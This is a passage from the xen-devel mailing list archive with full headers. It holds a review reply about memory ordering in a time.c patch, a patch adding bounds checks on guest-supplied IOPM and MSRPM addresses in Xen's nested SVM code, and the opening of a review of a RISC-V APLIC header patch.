Received: by outflank-mailman (output) from mailman id 1372405.1619753; Tue, 28 Jul 2026 11:37:22 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wog7e-0000GY-Cl; Tue, 28 Jul 2026 11:37:22 +0000
Received: by outflank-mailman (input) for mailman id 1372405;
 Tue, 28 Jul 2026 11:37:21 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wog7d-0000GR-Me
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 11:37:21 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wog7d-00EWB9-33
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:37:21 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a689467-bab6-0a2a0a5309dd-0a2a4506aa3e-26
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 13:37:17 +0200
Received: from [209.85.128.52] (helo=mail-wm1-f52.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68946d-195a-0a2a45060019-d1558034ed36-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 13:37:17 +0200
Received: by mail-wm1-f52.google.com with SMTP id
 5b1f17b1804b1-49553515a8bso45907215e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 04:37:17 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4957f99fa7asm338591525e9.2.2026.07.28.04.37.15
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 04:37:16 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785238637; x=1785843437; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=KO+vepVVChYrRf1OeanOvt5rsUQJC5BlGco1fvpvUdc=;
        b=GMXHYaJKwHyqY2Ni+JjoNlpSIifUq/X6JpAgVRN4XHhSi4wQBVp7Hx6JpvL7ERFYq9
         7PgS+l9cccy/j6jpMUqmbUEHGvrYrFs5TR70QCSLpntmL0wt4FINRFwQ4UbpYfItX5gd
         Cubqh9PzwvfblpQCKwWgnCwjh0L9zIY75B6ZgNJM4CXhpiB4uhAQRgX4uER6uOZ2uyzP
         ZpyihURIT/zTLQInukK3KvnonEGwerONOjYaxv3Dtj2tWWaFlKTCX2cJV/mckBRzBWCD
         KB95l6O3VXb68lo09yLtu9py9vO9If3U8CJQCzp/B/PZsY9HVZ4MKeINTxmt+Tm5SWgc
         PPlg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785238637; x=1785843437;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=KO+vepVVChYrRf1OeanOvt5rsUQJC5BlGco1fvpvUdc=;
        b=qX9SJuYTkoxaX24L1DKI8QQuWFriFNyTIDqyRAvKV1vFsOBEvud/D85bYL2VWANOQZ
         pQjQvLeicqsT78WCzI9AZiuD1W6YjF38mFTsa5oDhCpktMUxJggxCSa83G8mvMKtHa2R
         n4gzpDykHZjt3gxu/KVfidCAHUW6K1P62mO/+e9tpv76y4FYGYxP8LbtqVKqOADS6Skf
         dyoRKTrt0t5OU/rH9gIUlSKypbLRaPnW5GI3Rhitc4K9CohsgSMkKitTl+2JLfRUiGxG
         /1RLDLyk52Vwhh7L2WKAQDKRq2ygUs2FsRhWGuPTRNkXhniGYISITf85piLWb7ecRD+Z
         eqYA==
X-Gm-Message-State: AOJu0YzlXc6UtH6VXa9j1zd+oByr0uuPwRfhnhGYs+1VhkAwGE9oW3cR
	0lJfj466htz9P0WQEPoix/pLD6HNBEvbZH15H9LLup17MZVx41dJi8cKGdMZJoENPg==
X-Gm-Gg: AR+sD11xBTDCc/BOlvKRfOBaLE/WUvOMXeyDSL232029UXHT8FnvxfXwtrIZWU5yUUy
	kiqGS5eSQ9YXBQNESyDJH1R5Vyy3QgStOyYaHHAPDUwTNe3iewOCumEDYTe+v9L6vwdB3JyDNBr
	KjDSAgS8Jdq8jA/OKPzPdGAtYyTNSlM65GtPeT+1r0pAGoOF0Xv28AJW4aSKfFsHOYB/KPjR37I
	zFAR7rSaV3e4PbWWMUsprD7wgdFa4H2IU0U7Kkz1SL5Wm00ymwHEw6CQknJsOOBon5dhxFC5AjO
	S4egbMujermdEEOApErJIbxmbLwRBLPEU9w5Qfa+b35Yiy+U10Xd6T2qVqf/FeRrJb/Pl3MOa0p
	MSsEuwp5teiT84/hBqk1dTO9c8unVlXUMbocS8hWWUXMFEgBDG2XPHkzh00LzakeK35txflnZ81
	GMvy9tseJir+gFnGEZRxNDlJMN/edbqG9u6SEY4G6VMlQ+xG6OOXy5TqbJy0pqtZvXiMeWv5BUZ
	9kt
X-Received: by 2002:a05:600c:3f10:b0:495:7278:95c3 with SMTP id 5b1f17b1804b1-496c657de59mr21010875e9.26.1785238636690;
        Tue, 28 Jul 2026 04:37:16 -0700 (PDT)
Message-ID: <fff1460b-7ec7-44f0-9772-35fb5bc87cb9@suse.com>
Date: Tue, 28 Jul 2026 13:37:15 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v4 1/3] time: add "NOW() good" indicator
To: =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
 Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Teddy Astie <teddy.astie@vates.tech>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Volodymyr Babchuk <volodymyr_babchuk@epam.com>,
 Oleksii Kurochko <oleksii.kurochko@gmail.com>
References: <f5040939-b166-4050-9a27-117b772547d4@suse.com>
 <b7513795-9e4b-4358-9d46-6c7036d64b81@suse.com>
 <amhlnWAwF-AS_sH7@macbook.local>
 <baddc2f7-deab-4727-a688-a6fe30f7fb89@suse.com>
 <amiFV3IWZUoaT57V@macbook.local>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9Ig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EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <amiFV3IWZUoaT57V@macbook.local>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-16d1c6/1785238637-1EEC477B-BBB15F33/0/0
X-purgate-type: clean
X-purgate-size: 1372

On 28.07.2026 12:32, Roger Pau MonnÃ© wrote:
> On Tue, Jul 28, 2026 at 10:24:38AM +0200, Jan Beulich wrote:
>> On 28.07.2026 10:17, Roger Pau MonnÃ© wrote:
>>> On Tue, Jun 30, 2026 at 04:06:00PM +0200, Jan Beulich wrote:
>>>> --- a/xen/arch/x86/time.c
>>>> +++ b/xen/arch/x86/time.c
>>>> @@ -2660,6 +2660,7 @@ void __init early_time_init(void)
>>>>  
>>>>      set_time_scale(&t->tsc_scale, tmp);
>>>>      t->stamp.local_tsc = boot_tsc_stamp;
>>>> +    NOW_good = true;
>>>
>>> Would you need a barrier here to ensure compiler doesn't re-order the
>>> writes?  Maybe using ACCESS_ONCE(), or a smp_wmb() like it's used in
>>> other arches?
>>
>> Aiui it isn't needed here. The compiler can't re-order the two writes,
>> due to our use of -fno-strict-aliasing. The barrier is there on other
>> arch-es to avoid re-ordering in hardware.
> 
> You are the expert in compilers, but it was my understanding that
> `no-strict-aliasing` only affects the ordering of pointers accesses,
> but not plain variables.  IOW: NOW_good accesses could be reordered
> because it's not a pointer.  Does the compiler consider t can point to
> &NOW_good and hence it can't be reordered?

Yes, that's my understanding of how this work. (Yet no, "expert" surely
is going too far.) Things would be different if NOW_good was a function-
local variable, I think.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 11:44:36 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 11:44:36 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372414.1619762 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogEY-0002C5-7y; Tue, 28 Jul 2026 11:44:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372414.1619762; Tue, 28 Jul 2026 11:44:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogEY-0002By-5P; Tue, 28 Jul 2026 11:44:30 +0000
Received: by outflank-mailman (input) for mailman id 1372414;
 Tue, 28 Jul 2026 11:44:28 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 1wogEW-0002Bs-Iv
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 11:44:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wogEV-00B68W-R7
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:44:27 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 6a689615-e002-0a2a0a5209dd-0a2a4503d6be-24
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 13:44:27 +0200
Received: from [160.101.131.9] (helo=na1pdmzitismtp02.tibco.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <abdelkareem.abdelsaamad@citrix.com>)
 id 6a68961a-fae8-0a2a45030019-a0658309e664-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 13:44:27 +0200
Received: from fedora.eng.citrite.net (unknown [10.113.40.46])
 by na1pdmzitismtp02.tibco.com (Postfix) with ESMTP id B84CB82E7CE4;
 Tue, 28 Jul 2026 07:42:41 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
From: Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>
To: xen-devel@lists.xenproject.org
Cc: jbeulich@suse.com,
	andrew.cooper3@citrix.com,
	roger.pau@citrix.com,
	jason.andryuk@amd.com,
	teddy.astie@vates.tech,
	Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger@xenproject.org>
Subject: [PATCH v1] x86/nSVM: Check the L1 IOPM_BASE and MSRPM_BASE assigned physical addresses
Date: Tue, 28 Jul 2026 12:41:39 +0100
Message-ID: <8f7c6601af60656025e5aeb0d2e8e1359d8c58f9.1785231704.git.abdelkareem.abdelsaamad@citrix.com>
X-Mailer: git-send-email 2.53.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-33051d/1785239067-6F8C54E9-FCDCE5B0/0/0
X-purgate-type: clean
X-purgate-size: 4579

The Xen nested virtualization code maps the physical addresses assigned by
the L1 guests, for IOPM_BASE and MSRPM_BASE directly to valid host addresses
without sanity checks. Add sanity checks to verify the L1 assigned addresses
are valid guest addresses. This check also makes the bahavior compliant with
the Hardware handling of the assigned addresses. The hardware is expected to
cause VMEXIT_INVALID with IOPM_BASE and MSRPM_BASE addresses greater than or
equal to the maximum supported physical address, see[1].

While at it, clean up the code. Remove the unused bool viopm and the
svm_vcpu::ns_oiomap_pa. 

[1] https://docs.amd.com/v/u/en-US/24593_3.44_APM_Vol2

Signed-off-by: Abdelkareem Abdelsaamad <abdelkareem.abdelsaamad@citrix.com>
---
Testing:
 - Using a locally developed XTF nested virt setup, I manually tested VMRUN
   instruction handling with the address value (0xffffffffffffffffUL) assigned
   to VMCB::iopm_base_pa:
   - Without the changes the address is mapped by the Xen code to the address
     0x604b634000 and it completes the execution without any reported errors.
   - With the changes, the VMRUN execution fails VMEXIT_INVALID is reported
     back in the ns_vmexit.exitcode.
 - CI tests:
https://gitlab.com/xen-project/people/aabdelsa/xen/-/pipelines/2709640880
---
 xen/arch/x86/hvm/svm/nestedsvm.c         | 24 +++++++++++++++++++++---
 xen/arch/x85/include/asm/hvm/svm-types.h |  2 +-
 2 files changed, 22 insertions(+), 4 deletions(-)

diff --git a/xen/arch/x86/hvm/svm/nestedsvm.c b/xen/arch/x86/hvm/svm/nestedsvm.c
index b06124c2c9..25b91a6b07 100644
--- a/xen/arch/x86/hvm/svm/nestedsvm.c
+++ b/xen/arch/x86/hvm/svm/nestedsvm.c
@@ -18,6 +18,8 @@
 
 #define NSVM_ERROR_VVMCB        1
 #define NSVM_ERROR_VMENTRY      2
+#define IOPM_MAX_PAGES_DIFF     2
+#define MSRPM_MAX_PAGES_DIFF    1
 
 int nestedsvm_vmcb_map(struct vcpu *v, uint64_t vmcbaddr)
 {
@@ -282,7 +284,7 @@ static int nsvm_vcpu_hostrestore(struct vcpu *v, struct cpu_user_regs *regs)
     return 0;
 }
 
-static int nsvm_vmrun_permissionmap(struct vcpu *v, bool viopm)
+static int nsvm_vmrun_permissionmap(struct vcpu *v)
 {
     struct svm_vcpu *arch_svm = &v->arch.hvm.svm;
     struct nestedsvm *svm = &vcpu_nestedsvm(v);
@@ -295,6 +297,23 @@ static int nsvm_vmrun_permissionmap(struct vcpu *v, bool viopm)
     unsigned long *ns_viomap;
     bool ioport_80 = true, ioport_ed = true;
 
+    if ( (domain_get_maximum_gpfn(v->domain) < IOPM_MAX_PAGES_DIFF) ||
+         (gfn_x(_gfn(ns_vmcb->_iopm_base_pa >> PAGE_SHIFT)) >
+          (domain_get_maximum_gpfn(v->domain) - IOPM_MAX_PAGES_DIFF)) )
+    {
+        gdprintk(XENLOG_ERR, "nsvm_vmrun_permissionmap invalid _iopm_base_pa"
+                 " address (%#"PRIx64")\n", ns_vmcb->_iopm_base_pa);
+        return 1;
+    }
+
+    if ( (gfn_x(_gfn(ns_vmcb->_msrpm_base_pa >> PAGE_SHIFT)) >
+          (domain_get_maximum_gpfn(v->domain) - MSRPM_MAX_PAGES_DIFF)) )
+    {
+        gdprintk(XENLOG_ERR, "nsvm_vmrun_permissionmap invalid _msrpm_base_pa"
+                " address (%#"PRIx64")\n", ns_vmcb->_msrpm_base_pa);
+        return 1;
+    }
+
     ns_msrpm_ptr = (unsigned long *)svm->ns_cached_msrpm;
 
     ret = hvm_copy_from_guest_phys(svm->ns_cached_msrpm,
@@ -308,7 +327,6 @@ static int nsvm_vmrun_permissionmap(struct vcpu *v, bool viopm)
     /* Check l1 guest io permission map and get a shadow one based on
      * if l1 guest intercepts io ports 0x80 and/or 0xED.
      */
-    svm->ns_oiomap_pa = svm->ns_iomap_pa;
     svm->ns_iomap_pa = ns_vmcb->_iopm_base_pa;
 
     ns_viomap = hvm_map_guest_frame_ro(svm->ns_iomap_pa >> PAGE_SHIFT, 0);
@@ -418,7 +436,7 @@ static int nsvm_vmcb_prepare4vmrun(struct vcpu *v, struct cpu_user_regs *regs)
     n2vmcb->_tsc_offset = n1vmcb->_tsc_offset + ns_vmcb->_tsc_offset;
 
     /* Nested IO permission bitmaps */
-    rc = nsvm_vmrun_permissionmap(v, clean.iopm);
+    rc = nsvm_vmrun_permissionmap(v);
     if ( rc )
         return rc;
 
diff --git a/xen/arch/x86/include/asm/hvm/svm-types.h b/xen/arch/x86/include/asm/hvm/svm-types.h
index 8acadb9dcc..beab9a3af2 100644
--- a/xen/arch/x86/include/asm/hvm/svm-types.h
+++ b/xen/arch/x86/include/asm/hvm/svm-types.h
@@ -51,7 +51,7 @@ struct nestedsvm {
     unsigned long *ns_merged_msrpm;
 
     /* guest physical address of virtual io permission map */
-    paddr_t ns_iomap_pa, ns_oiomap_pa;
+    paddr_t ns_iomap_pa;
     /* Shadow io permission map */
     unsigned long *ns_iomap;
 
-- 
2.53.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 12:02:28 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 12:02:28 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372449.1619772 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogVl-0005kl-Om; Tue, 28 Jul 2026 12:02:17 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372449.1619772; Tue, 28 Jul 2026 12:02:17 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogVl-0005ke-M6; Tue, 28 Jul 2026 12:02:17 +0000
Received: by outflank-mailman (input) for mailman id 1372449;
 Tue, 28 Jul 2026 12:02:16 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wogVk-0005kY-Jl
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 12:02:16 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wogVj-00B93T-Kb
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 14:02:15 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a689a40-bab6-0a2a0a5309dd-0a2a450383ee-18
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 14:02:15 +0200
Received: from [209.85.221.49] (helo=mail-wr1-f49.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a689a47-fae8-0a2a45030019-d155dd31b478-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 14:02:15 +0200
Received: by mail-wr1-f49.google.com with SMTP id
 ffacd0b85a97d-47f81a3ccf9so2367378f8f.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 05:02:15 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f9c4fe4c5sm38069766f8f.12.2026.07.28.05.02.12
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 05:02:13 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785240135; x=1785844935; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=IVh2Z3n+AHzhxDbsq0VXWx1b9pqd9CkOptKZgtTsxAA=;
        b=B+aTrkudhcuYUOMaV7jGtuJPPz6NEabCCNw4/jMAvs0XxGImlt+OZgxj3cLnHS9F+v
         fQJUb1KrEZ2V2dXdAc7Je9e3JiB1Ots6WpTx4o+qonCLkbpwGiBCgi1YoMgrNbwZ2ED2
         aUXcVOwCHAFQOCn+EtQ4ECTCsjYSSrNu1ANNNVKxm5LGe5b89MNLVCjwM3OHowo53hCz
         xQPpXeGqQYY9n9tch5AE3as1dIHYDk4/JSf46Xtep6UrJ6qajWkVnStbhEqZnNrizsHd
         qsbOdSGcroR4Ua9VVAbP+TT0HaKfshktE7JSqqTiAuRiw1cTmoh5Y9Hto0Anj174rAm+
         tAMA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785240135; x=1785844935;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=IVh2Z3n+AHzhxDbsq0VXWx1b9pqd9CkOptKZgtTsxAA=;
        b=qko/IqMNohGQQa/BoNJ7ryvM3lmZtOWFGGFfoCFUeOJ1rpMgqO6FK25DUwJrDgBsEy
         lYa6lIOv7OsF8MClaCbKpaGnGeYHJG8jZg4e+eZ/DfhZ+FnFkEQJOCBERaGUP5EHswXS
         pAUlJwKX46aHN2lhR0zvhWQu8ZFDbH7bVpxq2rKwUvDLtT+0mO//KGsirqgZQpcj4Jzw
         /b3LwW5oMcg/st2Q1U9piJYoeFGbKhyiivkHdoIz2nO5Ks3X4v63IK+EKLqVcy/6221s
         1fPuFR7tgxpDKEiu3miGgDLeQmXQC2QDp2GyCPrLCMVX4bymmonFJcQAY/Pkhv2kx1jS
         /JcA==
X-Forwarded-Encrypted: i=1; AHgh+Rp3HTIsApUkJhzlRXu1jB11J1CEPvVJ3Gfaw512UZkuh+uvmie0Stpd9J6iEKrjAUt+6QuyXkgo3xY=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyG1Se0V/F1UWsmWcec6GYKFfUUCy9r2HP0iAGWhl0ADRr4wycW
	JVFWBZ2vTLgtjg/RwFDnEl1XRfItWoe6Soyxkfw52ODxqGG/PLaGaxKTzpjE5qvXUA==
X-Gm-Gg: AR+sD11VA0j8AJ7/UJGEQ/WEuDuaU/Y+2C1sSOlZtmQhlMPJGqIT1vNGL5z203sYBMp
	Ya78xRlrvTrL+dXiBHhF2iKIzWWf6BZgR3k2ah1cZIwYWKE8SlBj/BisO2s+U6ywwiAyadVJ1hl
	PAZ5pKNgDlhQmSYCdcZEh4waGmg0Jv0KJTagkHT5v/S7Z6Mb/oKkZDXdbxyzcbQVLTht+c0/OVc
	VtTDQAip0efao3OkDMEoHkhpUgE4MOZB1lSo7dawpqSwmHoXi0O2N97c3NC10HFZnh00DO2AV9p
	rqDK5g++CdiYp3V84HSuKnWWSDKIyfqpqpfunOp5tlId9DZB2kQhx0JlsAQlnfAcYtXE1Ocg5lc
	/qRrYtxTbz+rDjD7MczHtZ+mSthXPP0Do+F2NZeFkLWEMjArvzm0//KpusXqhZ8N5w5eFMbmYzO
	A1iIrCfcaefrxxMvcZBfgIBVVXEmm7Z36ZtTcSDOmG4qRzWM13CBREycOQz0zBPka2Iw==
X-Received: by 2002:a05:6000:2386:b0:47f:9283:1fbe with SMTP id ffacd0b85a97d-47fb1e682e3mr2297380f8f.0.1785240134895;
        Tue, 28 Jul 2026 05:02:14 -0700 (PDT)
Message-ID: <a9725508-7660-4960-88ef-8e5b324f8f08@suse.com>
Date: Tue, 28 Jul 2026 14:02:11 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v1 03/17] xen/riscv: add missing APLIC register offsets,
 masks to asm/aplic.h
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger@xenproject.org>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1784560663.git.oleksii.kurochko@gmail.com>
 <ee3825adfd0012437a594f6a0e51c6ee71175cc4.1784560663.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqR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wwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <ee3825adfd0012437a594f6a0e51c6ee71175cc4.1784560663.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1785240135-7428D4E9-CCE4DA36/0/0
X-purgate-type: clean
X-purgate-size: 1929

On 20.07.2026 18:02, Oleksii Kurochko wrote:
> @@ -25,6 +27,7 @@
>  #define APLIC_DOMAINCFG_DM      BIT(2, U)
>  #define APLIC_DOMAINCFG_BE      BIT(0, U)
>  
> +/* sourcecfg register fields */
>  #define APLIC_SOURCECFG_SM_INACTIVE     0x0
